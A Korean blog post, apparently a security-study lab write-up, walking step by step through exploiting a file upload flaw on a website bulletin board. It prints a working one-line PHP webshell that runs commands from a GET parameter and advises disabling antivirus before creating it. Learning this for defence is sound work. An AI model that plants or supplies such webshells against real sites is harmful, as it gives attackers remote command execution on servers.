무기는 끈기

[Web Hacking / 웹 해킹] File Upload Vulnerability, 웹사이트 게시판 속 파일 업로드 취약점 공격 실습 (webshell 시스템 권한 획득) 본문

Hacking/Web Hacking

[Web Hacking / 웹 해킹] File Upload Vulnerability, 웹사이트 게시판 속 파일 업로드 취약점 공격 실습 (webshell 시스템 권한 획득)

김유비야 2024. 2. 8. 00:27

File Upload 취약점을 공격하는 실습을 간단하게 진행해보자.
(해당 취약점에 대한 원리 및 자세한 사항은 다음 글에서 다룰 예정이다.)

 

목적
webshell 시스템 권한을 획득하여 id 값을 추출하는 것

 

구체적 방안
step 1. 서버 측에서 사용하고 있는 언어 확인
step 2. 웹쉘 획득 스크립트가 담긴 php 파일 생성
step 3. 파일 업로드 취약점이 있는 곳에서 해당 php 파일 업로드
step 4. 파일 경로 주소 찾아서 요청하여 실행
step 5. 원하는 cmd 명령어(id) url에 GET method로 넣어서 전송

 


 

step 1. 서버 측에서 사용하고 있는 언어 확인

공격 실습하려는 사이트가 서버에서 어떤 언어를 사용하고 있는지 먼저 확인한다.
페이지 URL을 살펴보니 write.php 라고 되어있는 것을 확인할 수 있다.
-> php 사용
--> php 코드를 작성하여 공격

 

 

step 2. 웹쉘 획득 스크립트가 담긴 php 파일 생성

웹쉘 시스템 권한을 획득할 수 있는 코드가 적힌 php 파일을 생성해준다.

* 주의: 백신 프로그램이 작동하여 해당 파일을 바이러스, 악성코드로 감지하고 삭제할 확률이 높음.
            백신 실시간 검사 프로그램을 잠시 꺼주고 사용하였다.

<?php
	echo system($_GET['cmd']);
?>

 

 

step 3. 파일 업로드 취약점이 있는 곳에서 해당 php 파일 업로드

해당 사이트의 게시판 속 글쓰기 기능에 파일 업로드 취약점이 있는 것을 확인하였다.
미리 생성해둔 php 공격용 파일을 업로드 했다.

 

 

 

step 4. 파일 경로 주소 찾아서 요청하여 실행

업로드한 파일이 실행될 파일 경로를 찾기 위해선, 파일이 어디에 출력되는지 부터 찾아야 한다.
찾은 후 출력되는 곳에서 파고들어가며 경로를 찾아야 한다.

작성한 글을 클릭하여 열람하니, 첨부파일 [다운로드] 버튼이 있다. (이미지 하단의 빨간 화살표 참고)
[다운로드] 버튼을 우클릭하여 '링크 주소 복사' 하기를 누르면 파일 경로를 찾을 수 있다. 

 

 

 

step 4. 파일 경로 주소 찾아서 요청하여 실행

파일 경로 주소를 조합하여 url 입력 후 엔터를 눌러 실행했다.

 

 

 

step 5. 원하는 cmd 명령어(id) url에 GET method로 넣어서 전송

step 4에선 파라미터를 지정해주지 않아서 빈 화면만 나오고 있다.

cmd에 파라미터를 넣어주자.
url 뒤에 + ' ?cmd=id ' 를 추가하여 GET method로 작성하고 실행하면 공격이 성공하여 원하는 값을 추출할 수 있다.

 

 

* 다음 글에서 파일 업로드의 이론적인 부분을 다루도록 하겠다.